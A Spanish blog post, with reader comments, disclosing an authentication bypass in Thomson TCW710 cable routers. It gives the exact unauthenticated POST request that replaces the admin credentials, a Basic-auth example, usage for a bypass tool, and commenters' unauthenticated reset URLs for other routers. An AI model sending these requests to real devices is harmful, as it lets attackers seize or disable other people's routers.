20 enero 2011

Modificando credenciales en routers Thomson

En este artículo voy a comentar una situación curiosa que me ocurrió el otro día al configurar el router que me ha “regalado” ONO, un Thomson TCW710.

Cual fue mi sorpresa cuando, tras publicar un video en Twitter en el que mostraba el proceso, una persona me comentó que el problema ya había sido reportado para el modelo TCW690. Como podemos comprobar, en Thomson (y ¿ONO?) no se toman en serio los problemas de seguridad, y más este que permite obtener el control del router (y quitarselo a su dueño).

Al final del artículo se enlaza el código de la aplicación utilizada en el video. Además, añado el enlace a la publicación del fallo del modelo TCW690.

¡Comencemos!

Disclaimer:

No me hago responsable del mal uso que pueda darse a esta información o al código de la aplicación que la complementa.

Como todos sabemos, cuando intentas acceder a la configuración del router, te suele saltar la petición de credenciales, y en el caso de que no sean correctos, no puedes acceder. ¿Lógico no?

En el caso de los routers Thomson (voy a generalizar, pero entender que me refiero a esos dos modelos en concreto, no tengo conocimiento de ningún otro), ocurre una situación un tanto curiosa, y es que el sistema únicamente bloquea las peticiones GET, pudiendo seguir realizando POSTS sin ningún problema.

A pesar de que sea un problema importante (pues permite modificar la configuración del router sin necesidad de estar autenticado) es aun peor cuando se comprueba que el software del mismo no pide los credenciales actuales al ir a modificarlos (se entiende que si estas autenticado te la sabes, pero eso ya no es un argumento válido para no añadir una medida más de protección, y más si da la opción de acceder remotamente al panel de administración), por lo que podemos registrar los que queramos (o poner los de fábrica para levantar menos sospechas) y poder acceder mediante la interfaz web.

La petición POST a realizar para modificar los credenciales es:

http://192.168.0.1/goform/RgSecurity
HttpUserId=USER&Password=PASSWD&PasswordReEnter=PASSWD&RestoreFactoryNo=0x00

Una vez realizada la petición, ya podríamos acceder mediante la interfaz web.
En el caso de que quisieramos automatizar tareas y comenzar a realizar peticiones GET para obtener información, hay que añadir en la cabecera Authorization con valor Basic auth_en_b64.

El valor no es más que el usuario y contraseña separados por ‘:’ y codificados en base64. Un ejemplo (el utilizado en la aplicación para obtener la información del router) podría ser:

Petición: http://192.168.0.1/RgSwInfo.asp
Usuario: (vacio)
Contraseña: admin
Auth: :admin --> OmFkbWlu

GET http://192.168.0.1/RgSwInfo.asp
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
X-Behavioral-Ad-Opt-Out: 1
X-Do-Not-Track: 1
Authorization: Basic OmFkbWlu
Cache-Control: max-age=0

¡Hasta aquí todo! Ya para terminar…

Os enlazo el video que publiqué con todo el proceso:


Con respecto a la aplicación, la podéis descargar de aquí.

Su utilización es la siguiente:
(bypassThomson.jar) -h [ip_router] -u [user] -p [password] -info [opc.muestra_info_router]

El reporte del fallo en el Thomson TCW690 podéis encontrarlo aquí. Por lo que pone en la información del exploit, lo reportó un tal MurDoK.

Y vosotros, ¿conocéis FAILs de otros routers?

Artículo por Luis Delgado J.

9 comments :

n0.more dijo...

Algunos routers (no recuerdo qué modelos exactamente) permitian realizar cambios sin necesidad de saber el user/pass, por un fallo del protocolo PnP y SSDP.


En dragonjar detallan mas a fondo el problema y mencionan un programa llamado "miranda", escrito en python que permite aprovecharse de esta vulnerabilidad.


Un saludo!

Adama dijo...

Pues no, muy en serio no se toman la seguridad, el reporte es de 2005.

Me acuerdo de uno que afectaba a varios modelos de linksys y, no siendo tan grave, era bastante. No lo busco porque me acuerdo que lo arreglaron.

Saludos!

PD: Hoy comento antes que Madrikeka y todo :P

Monzi dijo...

Fallo gordo, ahora mi pregunta, ¿Cómo has logrado saber que no se bloquean los POST?

Luis dijo...

@Monzi,
Simplemente porque tuve que cambiar la contraseña, se me ocurrió hacer la prueba y sorprendentemente aceptaba el cambio. Sin embargo, los GET te los rechaza.

Por cierto, seguro que os interesa http://www.routeripaddress.com/. Recopila usuarios y contraseñas por defecto de una gran cantidad de routers (vía Punto Geek)

Madrikeka dijo...

@Adama lo he leído a primerísima hora...pero me ha tocado empezar a leerme la docu de un 3com y no he podido hacerlo, pero no volverá a pasar.

Respecto al post, me parece impresionante que no tengan en cuenta estas cosas, claro, como en un principio no les afecta a ellos...pues les da igual.

A veces es una vergüenza.

Anónimo dijo...

Muy bueno el post!

Hace años (en tiempos de Madritel)sus dns eran una fiesta, también había formas muy elementales para no pagar las películas o el futbol (dependía del modelo del decodificador, pero era muy simple).

Los cable-modem eran y supongo que son/serán un bien comunitario }:)

No, a esta gente no le interesa la seguridad.

P.D. jejeje el captcha que me ha salido es "culpa" no se por que lo dirá }:)

Un saludo.
Manolo.

Alex dijo...

El CG3100D de Netgear que está instalando ONO tiene también problemas de seguridad tan graves como este:
http://dl.packetstormsecurity.net/1010-advisories/sa41804.txt

Es una pena, pero estos routers, al ser productos que no se venden al publico sino al ISP, y es este el encargado de dar soporte, posiblemente nunca vean una version que corrija los fallos.

Mario G. Corvalan dijo...

Excelente articulo, una falla similar tiene los router link-sys
http://evidenciasecurity.blogspot.com/2010/11/reconfigurar-router-d-link-sin-conocer.html

Anónimo dijo...

buffhh.. aca en argentina hace unos años speedy distribuía a sus usuarios los Zyxel Prestige 600.

El cual se puede resetear a fábrica solamente accediendo a:

http://[ip_router]/rpFWUpload.html

Sin necesidad de poner user y pass

Cabe destacar que no hay actualización de firm disponible que solucione esto.
Y para colmo de males muchas empresas son las que usan estos aparatos.
¿El resultado? podés dejar sin internet a una empresa/cybercafé/usuario domestico con sólo visitar una pagina y presionar un boton.

Recuerdo tambien unos routers ericsson, los cuales una vez autenticados tomaban la ip de la pc autenticada como válida, ésto posibilitaba que cualquier equipo de la red tome la ip del equipo validado y puedas entrar a la configuración sin más.

Unos D-Link tenian "usuarios" a los que sólo se le podian modificar la clave si entrabas por telnet, (practicamente NADIE se las cambiaba), estos usuarios estaban con permisos limitados, pero dejaban ver parametros de configuración ips de las máquinas conectadas y el tráfico de cada una de ellas.

Mis saludos desde Argentina.